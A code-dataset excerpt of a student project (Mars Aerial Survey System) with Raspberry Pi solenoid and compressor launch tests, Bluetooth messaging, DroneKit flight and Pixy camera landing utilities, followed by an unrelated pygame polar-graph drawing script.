"Python", "length_bytes": 1177, "license_type": "no_license", "max_line_length": 35, "num_lines": 64, "path": "/base/component_tests/soltest.py", "repo_name": "martinoamigo/mass", "src_encoding": "UTF-8", "text": "import RPi.GPIO as GPIO\nimport time\n\nGPIO.setmode(GPIO.BOARD)\nGPIO.setwarnings(False)\n# Pinouts for Relay Connectors\ncomp = 16\nsafety_sol = 13\nvent_sol = 15\nlaunch_sol = 11\n\n# Set Pins\nGPIO.setup(comp, GPIO.OUT)\nGPIO.setup(safety_sol, GPIO.OUT)\nGPIO.setup(vent_sol, GPIO.OUT)\nGPIO.setup(launch_sol, GPIO.OUT)\n\n# Clear Pins \nGPIO.output(comp, 1)\nGPIO.output(safety_sol, 1)\nGPIO.output(vent_sol, 1)\nGPIO.output(launch_sol, 1)\n\n# Initialize Pressures\npressure = 0\nlaunch_pressure = 50\n\nPressurize = True\nLaunch = True\n\nif(Pressurize == True):\n\tGPIO.output(comp,0)\n\twhile(pressure < launch_pressure):\n\t\tpressure += 1\n\t\ttime.sleep(1)\n\t\tGPIO.output(comp, 0)\n\tGPIO.output(comp, 1)\n\tPressurize = False\n\nif(Launch == True):\n\ttime.sleep(3)\n\tGPIO.output(vent_sol, 0)\n\ttime.sleep(3)\n\tGPIO.output(safety_sol, 0)\n\ttime.sleep(3)\n\tGPIO.output(launch_sol, 0)\n\ttime.sleep(5)\n\tGPIO.output(safety_sol, 1)\n\ttime.sleep(2)\n\tGPIO.output(vent_sol, 1)\n\ttime.sleep(2)\n\tGPIO.output(launch_sol, 1)\n\tLaunch = False\n'''\nif(Launch == True):\n\ttime.sleep(3)\n\tGPIO.output(vent_sol, 0)\n\ttime.sleep(3)\n\tGPIO.output(safety_sol, 0)\n\ttime.sleep(3)\n\tGPIO.output(vent_sol, 1)\n\ttime.sleep(3)\n'''\nGPIO.cleanup()\n\n" }, { "alpha_fraction": 0.687312662601471, "alphanum_fraction": 0.6913086771965027, "avg_line_length": 22.23255729675293, "blob_id": "26d16cb6a4f39f9a213ca5c81489f4bebe093668", "content_id": "a46931421670cdb257ddd28e5ab1f0af6e6f55aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1001, "license_type": "no_license", "max_line_length": 91, "num_lines": 43, "path": "/base/main.py", "repo_name": "martinoamigo/mass", "src_encoding": "UTF-8", "text": "import time\nimport sys\nimport utils.bluetooth as bluetooth\nimport threading\n\n#connect to scout\nscout = bluetooth.Connection()\n\ndef bluetooth_listener():\n\tglobal scout\n\tconnected = scout.connect()\n\twhile 1:\t\n\t\twhile not connected:\n\t\t\tprint(\"Connecting...\")\n\t\t\tscout = bluetooth.Connection()\n\t\t\tconnected = scout.connect()\n\t\t\tif connected:\n\t\t\t\tprint(\"Connected.\")\n\t\t\n\t\tmessage = scout.listen()\n\t\tif not message:\n\t\t\tprint(\"[BASE]: Receiving message failed: {}\".format(sys.exc_info()[0]))\n\t\t\tconnected = False\n\t\telse:\n\t\t\ttry:\n\t\t\t\tprint(\"[SCOUT]: {}\".format(message.decode()))\n\t\t\texcept:\n\t\t\t\tprint(\"[BASE]: Error decoding message: {}\".format(message))\n\nbluetooth_listener = threading.Thread(name='bluetooth_listener', target=bluetooth_listener)\nbluetooth_listener.start()\n\nwhile 1:\n\tmessage = input()\n\tif message == \"exit\":\n\t\tbreak\n\tresponse = scout.send_message(message)\n\tif not response:\n\t\tprint(\"[BASE]: Sending message failed: {}\".format(sys.exc_info()[0]))\n\t\tconnected = False\n\n\nself.socket.close()\n\n\n" }, { "alpha_fraction": 0.6561863422393799, "alphanum_fraction": 0.6839883327484131, "avg_line_length": 41.67701721191406, "blob_id": "a04d9b2e40b1b2b9ef521006f27a9c04cbee648f", "content_id": "5f3c46d3cd8ba4155d4a2cfdffda14d8319688bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6871, "license_type": "no_license", "max_line_length": 166, "num_lines": 161, "path": "/scout/utils/flight_utils.py", "repo_name": "martinoamigo/mass", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\n© Copyright 2015-2016, 3D Robotics.\nmission_basic.py: Example demonstrating basic mission operations including creating, clearing and monitoring missions.\n\nFull documentation is provided at http://python.dronekit.io/examples/mission_basic.html\n\"\"\"\nfrom __future__ import print_function\n\nfrom dronekit import connect, VehicleMode, LocationGlobalRelative, LocationGlobal, Command\nimport time\nimport math\nfrom pymavlink import mavutil\nimport numpy as np\n\ndef get_location_metres(original_location, dNorth, dEast):\n earth_radius=6378137.0 #Radius of \"spherical\" earth\n #Coordinate offsets in radians\n dLat = dNorth/earth_radius\n dLon = dEast/(earth_radius*math.cos(math.pi*original_location.lat/180))\n\n #New position in decimal degrees\n newlat = original_location.lat + (dLat * 180/math.pi)\n newlon = original_location.lon + (dLon * 180/math.pi)\n return LocationGlobal(newlat, newlon,original_location.alt)\n\ndef get_distance_metres(aLocation1, aLocation2):\n dlat = aLocation2.lat - aLocation1.lat\n dlong = aLocation2.lon - aLocation1.lon\n return math.sqrt((dlat*dlat) + (dlong*dlong)) * 1.113195e5\n\ndef distance_to_current_waypoint(vehicle):\n nextwaypoint = vehicle.commands.next\n if nextwaypoint==0:\n return None\n missionitem=vehicle.commands[nextwaypoint-1] #commands are zero indexed\n lat = missionitem.x\n lon = missionitem.y\n alt = missionitem.z\n targetWaypointLocation = LocationGlobalRelative(lat,lon,alt)\n distancetopoint = get_distance_metres(vehicle.location.global_frame, targetWaypointLocation)\n return distancetopoint\n\ndef download_mission(vehicle):\n cmds = vehicle.commands\n cmds.download()\n cmds.wait_ready() # wait until download is complete.\n\ndef adds_square_mission(vehicle, aLocation, aSize):\n \"\"\"\n Adds a takeoff command and four waypoint commands to the current mission. \n The waypoints are positioned to form a square of side length 2*aSize around the specified LocationGlobal (aLocation).\n\n The function assumes vehicle.commands matches the vehicle mission state \n (you must have called download at least once in the session and after clearing the mission)\n \"\"\"\t\n\n cmds = vehicle.commands\n\n print(\" Clear any existing commands\")\n cmds.clear() \n \n print(\" Define/add new commands.\")\n # Add new commands. The meaning/order of the parameters is documented in the Command class. \n \n #Add MAV_CMD_NAV_TAKEOFF command. This is ignored if the vehicle is already in the air.\n cmds.add(Command( 0, 0, 0, mavutil.mavlink.MAV_FRAME_GLOBAL_RELATIVE_ALT, mavutil.mavlink.MAV_CMD_NAV_TAKEOFF, 0, 0, 0, 0, 0, 0, 0, 0, 10))\n\n #Define the four MAV_CMD_NAV_WAYPOINT locations and add the commands\n point1 = get_location_metres(aLocation, aSize, -aSize)\n point2 = get_location_metres(aLocation, aSize, aSize)\n point3 = get_location_metres(aLocation, -aSize, aSize)\n point4 = get_location_metres(aLocation, -aSize, -aSize)\n cmds.add(Command( 0, 0, 0, mavutil.mavlink.MAV_FRAME_GLOBAL_RELATIVE_ALT, mavutil.mavlink.MAV_CMD_NAV_WAYPOINT, 0, 0, 0, 0, 0, 0, point1.lat, point1.lon, 11))\n cmds.add(Command( 0, 0, 0, mavutil.mavlink.MAV_FRAME_GLOBAL_RELATIVE_ALT, mavutil.mavlink.MAV_CMD_NAV_WAYPOINT, 0, 0, 0, 0, 0, 0, point2.lat, point2.lon, 12))\n cmds.add(Command( 0, 0, 0, mavutil.mavlink.MAV_FRAME_GLOBAL_RELATIVE_ALT, mavutil.mavlink.MAV_CMD_NAV_WAYPOINT, 0, 0, 0, 0, 0, 0, point3.lat, point3.lon, 13))\n cmds.add(Command( 0, 0, 0, mavutil.mavlink.MAV_FRAME_GLOBAL_RELATIVE_ALT, mavutil.mavlink.MAV_CMD_NAV_WAYPOINT, 0, 0, 0, 0, 0, 0, point4.lat, point4.lon, 14))\n #add dummy waypoint \"5\" at point 4 (lets us know when have reached destination)\n cmds.add(Command( 0, 0, 0, mavutil.mavlink.MAV_FRAME_GLOBAL_RELATIVE_ALT, mavutil.mavlink.MAV_CMD_NAV_WAYPOINT, 0, 0, 0, 0, 0, 0, point4.lat, point4.lon, 14)) \n\n print(\" Upload new commands to vehicle\")\n cmds.upload()\n\ndef arm_and_takeoff(base, vehicle, aTargetAltitude):\n\n base.send(\"Basic pre-arm checks\")\n while not vehicle.is_armable:\n print(\" Waiting for vehicle to be armable...\")\n if vehicle.mode != flight_mode:\n base.send(\"Takeoff aborted, flight mode changed.\")\n return False\n time.sleep(1)\n\n base.send(\"Arming motors\")\n # Copter should arm in GUIDED mode\n flight_mode = \"GUIDED\"\n # vehicle.mode = flight_mode\n vehicle.armed = True\n\n while not vehicle.armed: \n base.send(\" Waiting for arming...\")\n time.sleep(1)\n if vehicle.mode != flight_mode:\n base.send(\"Takeoff aborted, flight mode changed.\")\n return False\n\n base.send(\"Taking off!\")\n vehicle.simple_takeoff(aTargetAltitude) # Take off to target altitude\n\n # Wait until the vehicle reaches a safe height before processing the goto (otherwise the command \n # after Vehicle.simple_takeoff will execute immediately).\n while True:\n print(\" Altitude: \", vehicle.location.global_relative_frame.alt) \n if vehicle.location.global_relative_frame.alt>=aTargetAltitude*0.95: #Trigger just below target alt.\n base.send(\"Reached target altitude.\")\n return True\n elif vehicle.mode != flight_mode:\n base.send(\"Takeoff aborted, flight mode changed.\")\n return False\n time.sleep(.5)\n\ndef send_ned_velocity(vehicle,velocity_x, velocity_y, velocity_z, duration):\n \"\"\"\n Move vehicle in direction based on specified velocity vectors.\n \"\"\"\n msg = vehicle.message_factory.set_position_target_local_ned_encode(\n 0, # time_boot_ms (not used)\n 0, 0, # target system, target component\n mavutil.mavlink.MAV_FRAME_BODY_OFFSET_NED, # frame\n 0b0000111111000111, # type_mask (only speeds enabled)\n 0, 0, 0, # x, y, z positions (not used)\n velocity_x, velocity_y, velocity_z, # x, y, z velocity in m/s\n 0, 0, 0, # x, y, z acceleration (not supported yet, ignored in GCS_Mavlink)\n 0, 0) # yaw, yaw_rate (not supported yet, ignored in GCS_Mavlink)\n\n\n # send command to vehicle on 1 Hz cycle\n for x in range(0,duration):\n vehicle.send_mavlink(msg)\n time.sleep(1)\n\n\n#pixycam\nhorizontal_fov = 60 * math.pi/180\nvertical_fov = 40 * math.pi/180\nhorizontal_resolution = 158 * 2\nvertical_resolution = 104 * 2\n\ndef send_land_message(vehicle, x, y):\n msg = vehicle.message_factory.landing_target_encode(\n 0, # time_boot_ms (not used)\n 0, # target num\n 0, # frame\n (x-horizontal_resolution/2)*horizontal_fov/horizontal_resolution,\n (y-vertical_resolution/2)*vertical_fov/vertical_resolution,\n 0, # altitude. Not supported.\n 0,0) # size of target in radians\n vehicle.send_mavlink(msg)\n vehicle.flush()" }, { "alpha_fraction": 0.7815126180648804, "alphanum_fraction": 0.7983193397521973, "avg_line_length": 38.33333206176758, "blob_id": "6e3be4c3de40c2b7d6e42b50597e507579d78d85", "content_id": "8323c56dac628829861e48b97dead1384444d167", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 119, "license_type": "no_license", "max_line_length": 81, "num_lines": 3, "path": "/README.md", "repo_name": "martinoamigo/mass", "src_encoding": "UTF-8", "text": "# Mars Aerial Survey System (MASS)\n\nUnfortunately this project was discountinued due to the recent COVID-19 outbreak. \n" }, { "alpha_fraction": 0.5698134303092957, "alphanum_fraction": 0.5895986557006836, "avg_line_length": 30.571428298950195, "blob_id": "5c52507830d60e5b4afc1c078b7f8a6e0da09a31", "content_id": "7c6012264423b90c1dd6c57709c2e07591638360", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1769, "license_type": "no_license", "max_line_length": 172, "num_lines": 56, "path": "/scout/utils/pixycam.py", "repo_name": "martinoamigo/mass", "src_encoding": "UTF-8", "text": "from __future__ import print_function\nfrom ctypes import Structure, c_uint\nimport time\nimport math\nif __name__ == \"__main__\":\n import pixy\nelse:\n from . import pixy\n\n\npixy.init()\npixy.change_prog(\"color_connected_components\")\n\nradius = 30\nx_center = 158 #center of cam in x dir\ny_center = 104 #center of cam in y dir\n\nbase_center_target = (158, 104)\n\nupper_x = x_center + radius\nlower_x = x_center - radius\nupper_y = y_center - radius\nlower_y = y_center + radius\n\nclass Blocks (Structure):\n _fields_ = [ (\"m_signature\", c_uint),\n (\"m_x\", c_uint),\n (\"m_y\", c_uint),\n (\"m_width\", c_uint),\n (\"m_height\", c_uint),\n (\"m_angle\", c_uint),\n (\"m_index\", c_uint),\n (\"m_age\", c_uint) ]\n\nblocks = pixy.BlockArray(100)\n\ndef get_base_position():\n objects_seen = pixy.ccc_get_blocks(100, blocks)\n \n #TODO: add procedure for if there is no base detected\n\n if objects_seen > 0:\n lowest_distance_to_center = 1000\n target_block = None\n # choose the most centered block in the frame\n for i in range (0, objects_seen):\n if blocks[i].m_signature == 1:\n # print('[BLOCK: SIG=%d X=%3d Y=%3d WIDTH=%3d HEIGHT=%3d]' % (blocks[i].m_signature, blocks[i].m_x, blocks[i].m_y, blocks[i].m_width, blocks[i].m_height))\n distance_to_center = math.sqrt((blocks[i].m_x - x_center)**2 + (blocks[i].m_y - y_center)**2) \n if distance_to_center < lowest_distance_to_center:\n lowest_distance_to_center = distance_to_center\n target_block = blocks[i] \n \n if target_block:\n position_vector = (target_block.m_x - base_center_target[0], base_center_target[1] - target_block.m_y)\n return position_vector\n\n" }, { "alpha_fraction": 0.660485029220581, "alphanum_fraction": 0.7232524752616882, "avg_line_length": 16.04878044128418, "blob_id": "c51061dd0a920d2c921d3afa43e0566ddc11c37b", "content_id": "e940f3d34086794d698440f84b8e4814bcffd414", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 701, "license_type": "no_license", "max_line_length": 30, "num_lines": 41, "path": "/base/component_tests/dock_test.py", "repo_name": "martinoamigo/mass", "src_encoding": "UTF-8", "text": "import RPi.GPIO as GPIO\nimport time\nimport numpy as np\n\nGPIO.setmode(GPIO.BOARD)\nGPIO.setwarnings(False)\n\n#Pinouts for Relay Connectors\n\nsol_act1 = 31\nsol_act2 = 33\n\nlin_act1 = 35\nlin_act2 = 37\n\n# Set Pins\nGPIO.setup(sol_act1, GPIO.OUT)\nGPIO.setup(sol_act2, GPIO.OUT)\nGPIO.setup(lin_act1, GPIO.OUT)\nGPIO.setup(lin_act2, GPIO.OUT)\n\n# Clear Pins\nGPIO.output(sol_act1, 1)\nGPIO.output(sol_act2, 1)\nGPIO.output(lin_act1, 1)\nGPIO.output(lin_act2, 1)\n#inout\nGPIO.output(sol_act1, 0)\nGPIO.output(sol_act2, 0)\nGPIO.output(lin_act1, 1)\nGPIO.output(lin_act2, 0)\ntime.sleep(10)\nGPIO.output(lin_act1, 0)\nGPIO.output(lin_act2, 1)\nGPIO.output(sol_act1, 1)\nGPIO.output(sol_act2, 1)\ntime.sleep(10)\n\n\n\nGPIO.cleanup()\n\n\n" }, { "alpha_fraction": 0.49641185998916626, "alphanum_fraction": 0.541965663433075, "avg_line_length": 24.854839324951172, "blob_id": "53c7a8a08fa7db86e5772a8210187495ace885dc", "content_id": "e7215e7f22a8af058ba4952e636aea5c10a1cd03", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3205, "license_type": "no_license", "max_line_length": 120, "num_lines": 124, "path": "/base/component_tests/ptest_nodunk.py", "repo_name": "martinoamigo/mass", "src_encoding": "UTF-8", "text": "import RPi.GPIO as GPIO\nimport time\nimport Adafruit_MCP3008\nimport Adafruit_GPIO.SPI as GPIOp\nimport numpy as np\n# import matplotlib.pyplot as plt\n\nfrom multiprocessing import Process, Value, Array\n\nimport os\nimport datetime\n\nGPIO.setmode(GPIO.BOARD)\nGPIO.setwarnings(False)\n\n# Pinouts for Relay Connectors\ncomp = 16\nsafety_sol = 11\nvent_sol = 13\nlaunch_sol = 15\n\nLP = input(\"Enter Launch Pressure: \")\nLP = float(LP) + 15.4\nFP = LP * 10.23 # fake pressure\nif LP >= 75: \n exit()\n\nSPI_PORT = 0\nSPI_DEVICE = 0\nmcp = Adafruit_MCP3008.MCP3008(spi=GPIOp.SpiDev(SPI_PORT, SPI_DEVICE))\n\n# Set Pins\nGPIO.setup(comp, GPIO.OUT)\nGPIO.setup(safety_sol, GPIO.OUT)\nGPIO.setup(vent_sol, GPIO.OUT)\nGPIO.setup(launch_sol, GPIO.OUT)\n\n# Clear Pins\nGPIO.output(comp, 1)\nGPIO.output(safety_sol,1)\nGPIO.output(vent_sol,1)\nGPIO.output(launch_sol,1)\n\ndef read_trans(value, state):\n start = time.time()\n j = 0\n x = []\n y = []\n while True:\n # read pressures\n for i in range(3):\n value[i] = mcp.read_adc(i)\n \n # save pressures to file\n file.write('| {0:.4f} | {1:.4f} | {2:.4f} | time: {3:.4f}\\n'.format(value[0]/10.23 - 15.4, \n value[1]/10.23 - 15.4, \n value[2]/10.23 - 15.4, time.time() - start))\n # add points to graph\n x.append(time.time() - start)\n y.append(value[0]/10.23 - 15.4)\n \n #print values every 10 data points\n if j % 10 == 0:\n print('| {0:.4f} | {1:.4f} | {2:.4f} | time: {3:.4f}'.format(value[0]/10.23 - 15.4, \n value[1]/10.23 - 15.4, \n value[2]/10.23 - 15.4, time.time() - start))\n #shleep and increment\n time.sleep(.02)\n j += 1\n \n # if launch is done, create graph and exit\n if state.value == 1:\n# fig=plt.figure()\n# ax=fig.add_axes([0,0,1,1])\n# ax.scatter(x, y, color='r')\n# ax.set_xlabel('time(s)')\n# ax.set_ylabel('pressure(psi)')\n# ax.set_title('plot bitch')\n# plt.show()\n return\n \n \n# initialize\nfile = open(\"launchpress.txt\", \"a\")\nfile.write(\"New Launch Values\\n\")\ncharge = True\npressures = Array('f', range(3))\nstate = Value('i', 0)\n\nread_trans_in_background = Process(target=read_trans, args=(pressures,state))\nread_trans_in_background.start()\n\n# charge compressor\n# time.sleep(2)\nwhile charge == True:\n time.sleep(.20)\n GPIO.output(comp, 0)\n if pressures[0] >= FP:\n charge = False\n time.sleep(.25)\n \n# Launch sequence\nGPIO.output(comp, 1)\ntime.sleep(3)\nGPIO.output(vent_sol, 0)\ntime.sleep(1)\nGPIO.output(launch_sol,0)\ntime.sleep(2)\nGPIO.output(safety_sol,0)\ntime.sleep(3)\nGPIO.output(safety_sol, 1)\ntime.sleep(2)\nGPIO.output(vent_sol, 1)\ntime.sleep(2)\nGPIO.output(launch_sol, 1)\nLP = 0\n\n\n\nfile.close()\nGPIO.cleanup()\nstate.value = 1 # we done\nprint(\"done\")\n# read_trans_in_background.terminate()" } ]
17
FengGuanxi/lightTheBulb
https://github.com/FengGuanxi/lightTheBulb
2fbbe61d3c29b9a3d75fb6ba9437b326de05828c
2f2b896d3573e7be1f63d916902bb990e895db1a
9aef2640c334adf11da719ad11e41e243cc864e3
refs/heads/master
2021-01-01T14:11:29.158479
2020-02-09T14:16:13
2020-02-09T14:16:13
239,313,712
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5580241680145264, "alphanum_fraction": 0.574849009513855, "avg_line_length": 32.34074020385742, "blob_id": "c8b96ad504e18cc3d8b2d679ea30f6e6d75ff0fe", "content_id": "44c4dbbbd05d1d982cc712e82985509bfd8136df", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4920, "license_type": "no_license", "max_line_length": 101, "num_lines": 135, "path": "/破解点灯.py", "repo_name": "FengGuanxi/lightTheBulb", "src_encoding": "UTF-8", "text": "import numpy as np\r\n\r\n# 将输入的string转换为list\r\ndef changeStr2List(theStr):\r\n locationStr = theStr\r\n locationStr = locationStr[1:len(locationStr) - 1]\r\n theListStr = locationStr.split(';')\r\n locationList = []\r\n for item in theListStr:\r\n item = item[1:len(item) - 1]\r\n # print(item)\r\n item = item.split(',')\r\n tmpList = []\r\n tmpList.append(int(item[0]))\r\n tmpList.append(int(item[1]))\r\n locationList.append(tmpList)\r\n return locationList\r\n\r\n# 用于生成初始矩阵\r\ndef initMatrix():\r\n print('请输入矩阵维度:(example:2*3)')\r\n dimensionStr=input()\r\n row=int(dimensionStr.split('*')[0])\r\n line=int(dimensionStr.split('*')[-1])\r\n # print(row,line)\r\n theMatrix=np.zeros([row,line],int)-np.ones([row,line],int)\r\n print('请输入哪些位置为亮灯:(example:[[0,1];[1,2]])')\r\n locationStr=input()\r\n if locationStr!='无':\r\n locationList=changeStr2List(locationStr)\r\n for location in locationList:\r\n rowIndex=location[0];lineIndex=location[1]\r\n theMatrix[rowIndex,lineIndex]=1\r\n # print(theMatrix)\r\n print('请输入哪些位置为灭灯:(example:[[0,1];[1,2]])')\r\n locationStr = input()\r\n if locationStr!='无':\r\n locationList = changeStr2List(locationStr)\r\n for location in locationList:\r\n rowIndex=location[0];lineIndex=location[1]\r\n theMatrix[rowIndex,lineIndex]=0\r\n return theMatrix\r\n\r\n# 判断当前状态是否为成功状态\r\ndef checkSuccess(theMatrix):\r\n row,line=theMatrix.shape\r\n for i in range(row):\r\n for j in range(line):\r\n if theMatrix[i][j]==0:\r\n return 0\r\n return 1\r\n\r\n# 点亮某个灯后,更改状态函数\r\ndef changeState(location,theMatrix):\r\n theMatrix[location[0]][location[1]]=1-theMatrix[location[0]][location[1]]\r\n shape=theMatrix.shape\r\n row=location[0];line=location[1]\r\n neighborList=[[row-1,line],[row,line-1],[row,line+1],[row+1,line]]\r\n rightNeighborList=[]\r\n for neighbor in neighborList:\r\n if neighbor[0]>=0 and neighbor[0]<shape[0] and neighbor[1]>=0 and neighbor[1]<shape[1]:\r\n if theMatrix[neighbor[0]][neighbor[1]]!=-1:\r\n rightNeighborList.append(neighbor)\r\n for location in rightNeighborList:\r\n row=location[0];line=location[1]\r\n if theMatrix[row][line]==-1:\r\n raise ValueError('Error!该坐标下元素为-1')\r\n else:\r\n theMatrix[row][line]=1-theMatrix[row][line]\r\n # print(theMatrix)\r\n return theMatrix\r\n\r\ndef getAllPossibleLocation(theMatrix):\r\n locationList=[]\r\n for row in range(theMatrix.shape[0]):\r\n for line in range(theMatrix.shape[1]):\r\n if theMatrix[row][line]==0:\r\n locationList.append([row,line])\r\n return locationList\r\n\r\n# 判断一个矩阵是否已经存在当前的List当中\r\ndef judgeIn(tmpMatrix,theList):\r\n for item in theList:\r\n if (tmpMatrix==item).all():\r\n return True\r\n return False\r\n\r\n# 主函数\r\ndef theMain(theStateHistory,rightPath):\r\n row,line=theStateHistory[-1].shape\r\n theMatrix = theStateHistory[-1]\r\n\r\n # 获取当前矩阵下所有灭灯的位置\r\n possibleLocation=getAllPossibleLocation(theMatrix)\r\n\r\n #开始进行遍历\r\n for location in possibleLocation:\r\n # tmp = theStateHistory[-1] - np.zeros([theMatrix.shape[0], theMatrix.shape[1]], int)\r\n tmp = theStateHistory[-1].copy()\r\n tmpMatrix=changeState(location,tmp)\r\n if not judgeIn(tmpMatrix,theStateHistory):\r\n if len(rightPath)<=10:\r\n if checkSuccess(tmpMatrix)==1:\r\n rightPath.append([location[0],location[1]])\r\n if len(rightPath)<=50:\r\n\r\n # 为了使输出时下标从1开始\r\n thePath=[]\r\n for item in rightPath:\r\n thePath.append(item.copy())\r\n for i in range(len(thePath)):\r\n for j in range(len(thePath[i])):\r\n thePath[i][j]+=1\r\n print(\"成功!\",\"路径是:\",thePath)\r\n rightPath.pop()\r\n else:\r\n # theMatrix = tmpMatrix - np.zeros([theMatrix.shape[0], theMatrix.shape[1]], int)\r\n theMatrix=tmpMatrix.copy()\r\n theStateHistory.append(theMatrix)\r\n rightPath.append(location)\r\n theMain(theStateHistory,rightPath)\r\n if len(rightPath)!=0:\r\n rightPath.pop()\r\n theStateHistory.pop()\r\n\r\n\r\n\r\nif __name__=='__main__':\r\n theStateHistory=[]\r\n theMatrix = initMatrix()\r\n print('初始矩阵状态')\r\n print(theMatrix)\r\n theStateHistory.append(theMatrix)\r\n rightPath=[]\r\n theMain(theStateHistory,rightPath)\r\n" }, { "alpha_fraction": 0.5641592741012573, "alphanum_fraction": 0.6902654767036438, "avg_line_length": 36.5, "blob_id": "7ea9d6c02e03b0944d75eadc9e3b891d5ce74a4b", "content_id": "1f69a7ed6e084d37c9484aaea46f5118986fe636", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 738, "license_type": "no_license", "max_line_length": 151, "num_lines": 12, "path": "/README.md", "repo_name": "FengGuanxi/lightTheBulb", "src_encoding": "UTF-8", "text": "## 介绍\n中国古典游戏“点灯”解决方案,该游戏的介绍以及代码详解,请见于:[破解点灯游戏](https://www.jianshu.com/p/c9b189fc38bc)\n## 如何运行\n例如这样一张图:\n![游戏实例](https://upload-images.jianshu.io/upload_images/10387587-f79006b97a8021fc.jpg?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)</br>\n运行后,首先输入整个矩阵的规格:</br>\n3*6</br>\n接下来输入亮着的灯的位置(下标从0开始,如果没有亮着的灯则输入汉字“无”):</br>\n[[1,0]]</br>\n接下来输入灭着的灯位置(下标从0开始)</br>\n[[0,1];[0,2];[0,3];[0,4];[1,4];[2,1];[2,2];[2,3];[2,4]]</br>\n然后等着输出即可(输出下标从1开始)。\n\n\n" } ]
2
ChickenHoshi/pgt
https://github.com/ChickenHoshi/pgt
414d4c46d9105bd3671de8fabb99ac854c2e6eba
aa754566334f3e7d3da52b531144dc85e8cff7c7
907285a437aacca5a9fe258ef231a13713645c3b
refs/heads/master
2021-05-04T09:49:22.737370
2016-03-06T22:31:13
2016-03-06T22:31:13
53,279,621
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.42517784237861633, "alphanum_fraction": 0.46659043431282043, "avg_line_length": 43.502891540527344, "blob_id": "f6a082f35b4f11ef0ba8c55592c7b30b603c49f7", "content_id": "a7e02d388c0eaf03818d5abfa5b649a7c789b399", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7872, "license_type": "permissive", "max_line_length": 156, "num_lines": 173, "path": "/graphTests.py", "repo_name": "ChickenHoshi/pgt", "src_encoding": "UTF-8", "text": "import pygame, sys, math, random, time\r\nfrom pygame.locals import*\r\n\r\npygame.init()\r\nFPS = 25\r\nfpsClock = pygame.time.Clock()\r\n#set up window\r\nwindowX = 1080\r\nwindowY = 720\r\nDISPLAYSURF = pygame.display.set_mode((windowX,windowY))\r\npygame.display.set_caption('graphs')\r\nfont = pygame.font.SysFont('consolas',20)\r\n#set up colors\r\n\r\nBLACK = ( 0, 0, 0)\r\nWHITE = (255, 255, 255)\r\npoints = []\r\nformula = ['']\r\ndef graphs(mode = 0):\r\n for angle in range(0,1000,1):\r\n x,y = 0,0\r\n if mode == 0:\r\n x = int(windowX/2 + math.radians(angle)*math.cos(math.radians(angle)))\r\n y = int(windowY/2 - math.radians(angle)*math.sin(math.radians(angle)))\r\n if mode == 1:\r\n x = int(windowX/2 + math.radians(math.sqrt(angle*50000))*math.cos(math.radians(angle)))\r\n y = int(windowY/2 - math.radians(math.sqrt(angle*50000))*math.sin(math.radians(angle)))\r\n if mode == 2:\r\n x = int(windowX/2 + math.radians(angle*angle/500)*math.cos(math.radians(angle)))\r\n y = int(windowY/2 - math.radians(angle*angle/500)*math.sin(math.radians(angle)))\r\n if mode == 3:\r\n x = int(windowX/2 + 400*math.cos(math.radians(angle))*math.cos(math.radians(angle)))\r\n y = int(windowY/2 - 400*math.cos(math.radians(angle))*math.sin(math.radians(angle)))\r\n if mode == 4: # flower\r\n petals = 6 #even nmbers produce double\r\n x = int(windowX/2 + 2+200*math.cos(math.radians(angle*petals))*math.cos(math.radians(angle)))\r\n y = int(windowY/2 - 2+200*math.cos(math.radians(angle*petals))*math.sin(math.radians(angle)))\r\n if mode == 5: # heart\r\n multiplier = 10\r\n x = int(windowX/2 + multiplier* 16*(math.sin(math.radians(angle))**3 ))\r\n y = int(windowY/2 + multiplier* -13*(math.cos(math.radians(angle))) -\\\r\n multiplier* -5*(math.cos(math.radians(2*angle))) -\\\r\n multiplier* -2*(math.cos(math.radians(3*angle))) -\\\r\n multiplier* -1*(math.cos(math.radians(4*angle))))\r\n if mode == 6:\r\n x = int(windowX/2 + 300*math.sin(math.radians(angle/20))*math.cos(math.radians(angle)))\r\n y = int(windowY/2 - 300*math.sin(math.radians(angle/20))*math.sin(math.radians(angle)))\r\n if mode == 7:\r\n multiplier = 300\r\n x = int(windowX/2 + (100 - multiplier*math.sin(math.radians(2*angle))*math.cos(math.radians(1*angle))) *math.cos(math.radians(angle)))\r\n y = int(windowY/2 - (100 - multiplier*math.sin(math.radians(2*angle))*math.cos(math.radians(1*angle))) *math.sin(math.radians(angle)))\r\n \r\n\r\n points.append([x,y])\r\n\r\ndef dynaGraph(a, mul,cosang, cosdiv, sinang, sindiv):\r\n for angle in range(0,5000,5):\r\n multiplier = 300\r\n \r\n sdiv = sindiv\r\n if sdiv == 0: sdiv = 1\r\n cdiv = cosdiv\r\n if cdiv == 0: cdiv = 1\r\n \r\n x = int(windowX/2 + (a - mul*math.sin(math.radians(sinang*angle/sdiv))*math.cos(math.radians(cosang*angle/cdiv))) *math.cos(math.radians(angle)))\r\n y = int(windowY/2 - (a - mul*math.sin(math.radians(sinang*angle/sdiv))*math.cos(math.radians(cosang*angle/cdiv))) *math.sin(math.radians(angle)))\r\n formula[0] = 'r = '+str(a)+' - ' +str(mul)+'cos('+str(cosang)+'t/'+str(cdiv)+')sin('+str(sinang)+'t/'+str(sdiv)+') [z:help]'\r\n points.append([x,y])\r\ndef drawPoints():\r\n if len(points) > 2:\r\n for point in points:\r\n color = [random.randint(50,200) for i in range(3)]\r\n pygame.draw.lines(DISPLAYSURF,color,False,points,2)\r\n\r\n#graphs(2)\r\ndyna = [50,50,2,2,2,2]\r\ndynaGraph(dyna[0],dyna[1],dyna[2], dyna[3],dyna[4], dyna[5])\r\nangle = 0\r\nwhile True: ##main game loop\r\n keys = 